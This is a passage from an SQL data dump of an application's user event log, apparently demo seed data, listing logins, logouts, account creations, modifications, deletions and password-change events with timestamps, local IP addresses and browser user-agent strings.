22:24:22','USER_MODIFY',1,'2017-11-15 23:24:22',12,'User cc1 modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(693,'2017-11-15 22:24:53','USER_MODIFY',1,'2017-11-15 23:24:53',12,'User cc2 modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(694,'2017-11-15 22:25:17','USER_MODIFY',1,'2017-11-15 23:25:17',12,'User cc1 modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(695,'2017-11-15 22:45:37','USER_LOGOUT',1,'2017-11-15 23:45:37',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(696,'2017-11-18 13:41:02','USER_LOGIN',1,'2017-11-18 14:41:02',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(697,'2017-11-18 14:23:35','USER_LOGIN',1,'2017-11-18 15:23:35',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(698,'2017-11-18 15:15:46','USER_LOGOUT',1,'2017-11-18 16:15:46',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(699,'2017-11-18 15:15:51','USER_LOGIN',1,'2017-11-18 16:15:51',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(700,'2017-11-30 17:52:08','USER_LOGIN',1,'2017-11-30 18:52:08',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(701,'2018-01-10 16:45:43','USER_LOGIN',1,'2018-01-10 17:45:43',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(702,'2018-01-10 16:45:52','USER_LOGOUT',1,'2018-01-10 17:45:52',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(703,'2018-01-10 16:46:06','USER_LOGIN',1,'2018-01-10 17:46:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(704,'2018-01-16 14:53:47','USER_LOGIN',1,'2018-01-16 15:53:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(705,'2018-01-16 15:04:29','USER_LOGOUT',1,'2018-01-16 16:04:29',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(706,'2018-01-16 15:04:40','USER_LOGIN',1,'2018-01-16 16:04:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(707,'2018-01-22 09:33:26','USER_LOGIN',1,'2018-01-22 10:33:26',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(708,'2018-01-22 09:35:19','USER_LOGOUT',1,'2018-01-22 10:35:19',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(709,'2018-01-22 09:35:29','USER_LOGIN',1,'2018-01-22 10:35:29',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(710,'2018-01-22 10:47:34','USER_CREATE',1,'2018-01-22 11:47:34',12,'User aaa created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(711,'2018-01-22 10:47:34','USER_NEW_PASSWORD',1,'2018-01-22 11:47:34',12,'Password change for aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(712,'2018-01-22 12:07:56','USER_LOGIN',1,'2018-01-22 13:07:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(713,'2018-01-22 12:36:25','USER_NEW_PASSWORD',1,'2018-01-22 13:36:25',12,'Password change for admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(714,'2018-01-22 12:36:25','USER_MODIFY',1,'2018-01-22 13:36:25',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(715,'2018-01-22 12:56:32','USER_MODIFY',1,'2018-01-22 13:56:32',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(716,'2018-01-22 12:58:05','USER_MODIFY',1,'2018-01-22 13:58:05',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(717,'2018-01-22 13:01:02','USER_MODIFY',1,'2018-01-22 14:01:02',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(718,'2018-01-22 13:01:18','USER_MODIFY',1,'2018-01-22 14:01:18',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(719,'2018-01-22 13:13:42','USER_MODIFY',1,'2018-01-22 14:13:42',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(720,'2018-01-22 13:15:20','USER_DELETE',1,'2018-01-22 14:15:20',12,'User aaa removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(721,'2018-01-22 13:19:21','USER_LOGOUT',1,'2018-01-22 14:19:21',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(722,'2018-01-22 13:19:32','USER_LOGIN',1,'2018-01-22 14:19:32',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(723,'2018-01-22 13:19:51','USER_LOGOUT',1,'2018-01-22 14:19:51',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(724,'2018-01-22 13:20:01','USER_LOGIN',1,'2018-01-22 14:20:01',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(725,'2018-01-22 13:28:22','USER_LOGOUT',1,'2018-01-22 14:28:22',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(726,'2018-01-22 13:28:35','USER_LOGIN',1,'2018-01-22 14:28:35',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(727,'2018-01-22 13:33:54','USER_LOGOUT',1,'2018-01-22 14:33:54',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(728,'2018-01-22 13:34:05','USER_LOGIN',1,'2018-01-22 14:34:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(729,'2018-01-22 13:51:46','USER_MODIFY',1,'2018-01-22 14:51:46',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36',NULL,NULL,NULL,NULL),(730,'2018-01-22 16:20:12','USER_LOGIN',1,'2018-01-22 17:20:12',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(731,'2018-01-22 16:20:22','USER_LOGOUT',1,'2018-01-22 17:20:22',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(732,'2018-01-22 16:20:36','USER_LOGIN',1,'2018-01-22 17:20:36',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(733,'2018-01-22 16:27:02','USER_CREATE',1,'2018-01-22 17:27:02',12,'User ldestailleur created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(734,'2018-01-22 16:27:02','USER_NEW_PASSWORD',1,'2018-01-22 17:27:02',12,'Password change for ldestailleur','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(735,'2018-01-22 16:28:34','USER_MODIFY',1,'2018-01-22 17:28:34',12,'User ldestailleur modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(736,'2018-01-22 16:30:01','USER_ENABLEDISABLE',1,'2018-01-22 17:30:01',12,'User cc2 activated','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(737,'2018-01-22 17:11:06','USER_LOGIN',1,'2018-01-22 18:11:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(738,'2018-01-22 18:00:02','USER_DELETE',1,'2018-01-22 19:00:02',12,'User zzz removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(739,'2018-01-22 18:01:40','USER_DELETE',1,'2018-01-22 19:01:40',12,'User aaab removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(740,'2018-01-22 18:01:52','USER_DELETE',1,'2018-01-22 19:01:52',12,'User zzzg removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(741,'2018-03-13 10:54:59','USER_LOGIN',1,'2018-03-13 14:54:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x971','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36',NULL,NULL,NULL,NULL),(742,'2018-07-30 11:13:10','USER_LOGIN',1,'2018-07-30 15:13:10',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(743,'2018-07-30 12:50:23','USER_CREATE',1,'2018-07-30 16:50:23',12,'User eldy created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(744,'2018-07-30 12:50:23','USER_CREATE',1,'2018-07-30 16:50:23',12,'User eldy created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(745,'2018-07-30 12:50:23','USER_NEW_PASSWORD',1,'2018-07-30 16:50:23',12,'Password change for eldy','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(746,'2018-07-30 12:50:38','USER_MODIFY',1,'2018-07-30 16:50:38',12,'User eldy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(747,'2018-07-30 12:50:54','USER_DELETE',1,'2018-07-30 16:50:54',12,'User eldy removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(748,'2018-07-30 12:51:23','USER_NEW_PASSWORD',1,'2018-07-30 16:51:23',12,'Password change for ldestailleur','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(749,'2018-07-30 12:51:23','USER_MODIFY',1,'2018-07-30 16:51:23',12,'User ldestailleur modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(750,'2018-07-30 18:26:58','USER_LOGIN',1,'2018-07-30 22:26:58',18,'(UserLogged,ldestailleur) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(751,'2018-07-30 18:27:40','USER_LOGOUT',1,'2018-07-30 22:27:40',18,'(UserLogoff,ldestailleur)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(752,'2018-07-30 18:27:47','USER_LOGIN',1,'2018-07-30 22:27:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(753,'2018-07-30 19:00:00','USER_LOGOUT',1,'2018-07-30 23:00:00',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(754,'2018-07-30 19:00:04','USER_LOGIN',1,'2018-07-30 23:00:04',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(755,'2018-07-30 19:00:14','USER_LOGOUT',1,'2018-07-30 23:00:14',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(756,'2018-07-30 19:00:19','USER_LOGIN',1,'2018-07-30 23:00:19',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(757,'2018-07-30 19:00:43','USER_LOGOUT',1,'2018-07-30 23:00:43',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(758,'2018-07-30 19:00:48','USER_LOGIN',1,'2018-07-30 23:00:48',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(759,'2018-07-30 19:03:52','USER_LOGOUT',1,'2018-07-30 23:03:52',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(760,'2018-07-30 19:03:57','USER_LOGIN_FAILED',1,'2018-07-30 23:03:57',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(761,'2018-07-30 19:03:59','USER_LOGIN',1,'2018-07-30 23:03:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(762,'2018-07-30 19:04:13','USER_LOGOUT',1,'2018-07-30 23:04:13',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(763,'2018-07-30 19:04:17','USER_LOGIN',1,'2018-07-30 23:04:17',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(764,'2018-07-30 19:04:26','USER_LOGOUT',1,'2018-07-30 23:04:26',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(765,'2018-07-30 19:04:31','USER_LOGIN',1,'2018-07-30 23:04:31',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(766,'2018-07-30 19:10:50','USER_LOGOUT',1,'2018-07-30 23:10:50',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(767,'2018-07-30 19:10:54','USER_LOGIN',1,'2018-07-30 23:10:54',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(768,'2018-07-31 10:15:52','USER_LOGIN',1,'2018-07-31 14:15:52',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Lynx/2.8.8pre.4 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.12.23',NULL,NULL,NULL,NULL),(769,'2018-07-31 10:16:27','USER_LOGIN',1,'2018-07-31 14:16:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(770,'2018-07-31 10:32:14','USER_LOGIN',1,'2018-07-31 14:32:14',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Lynx/2.8.8pre.4 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.12.23',NULL,NULL,NULL,NULL),(771,'2018-07-31 10:36:28','USER_LOGIN',1,'2018-07-31 14:36:28',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Links (2.8; Linux 3.19.0-46-generic x86_64; GNU C 4.8.2; text)',NULL,NULL,NULL,NULL),(772,'2018-07-31 10:40:10','USER_LOGIN',1,'2018-07-31 14:40:10',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Links (2.8; Linux 3.19.0-46-generic x86_64; GNU C 4.8.2; text)',NULL,NULL,NULL,NULL),(773,'2018-07-31 10:54:16','USER_LOGIN',1,'2018-07-31 14:54:16',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Lynx/2.8.8pre.4 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.12.23',NULL,NULL,NULL,NULL),(774,'2018-07-31 12:52:52','USER_LOGIN',1,'2018-07-31 16:52:52',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x592','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(775,'2018-07-31 13:25:33','USER_LOGOUT',1,'2018-07-31 17:25:33',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(776,'2018-07-31 13:26:32','USER_LOGIN',1,'2018-07-31 17:26:32',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1280x751','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(777,'2018-07-31 14:13:57','USER_LOGOUT',1,'2018-07-31 18:13:57',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(778,'2018-07-31 14:14:04','USER_LOGIN',1,'2018-07-31 18:14:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(779,'2018-07-31 16:04:35','USER_LOGIN',1,'2018-07-31 20:04:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(780,'2018-07-31 21:14:14','USER_LOGIN',1,'2018-08-01 01:14:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(781,'2017-01-29 15:14:05','USER_LOGOUT',1,'2017-01-29 19:14:05',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(782,'2017-01-29 15:34:43','USER_LOGIN',1,'2017-01-29 19:34:43',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x571','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(783,'2017-01-29 15:35:04','USER_LOGOUT',1,'2017-01-29 19:35:04',12,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(784,'2017-01-29 15:35:12','USER_LOGIN',1,'2017-01-29 19:35:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(785,'2017-01-29 15:36:43','USER_LOGOUT',1,'2017-01-29 19:36:43',12,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(786,'2017-01-29 15:41:21','USER_LOGIN',1,'2017-01-29 19:41:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x571','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) 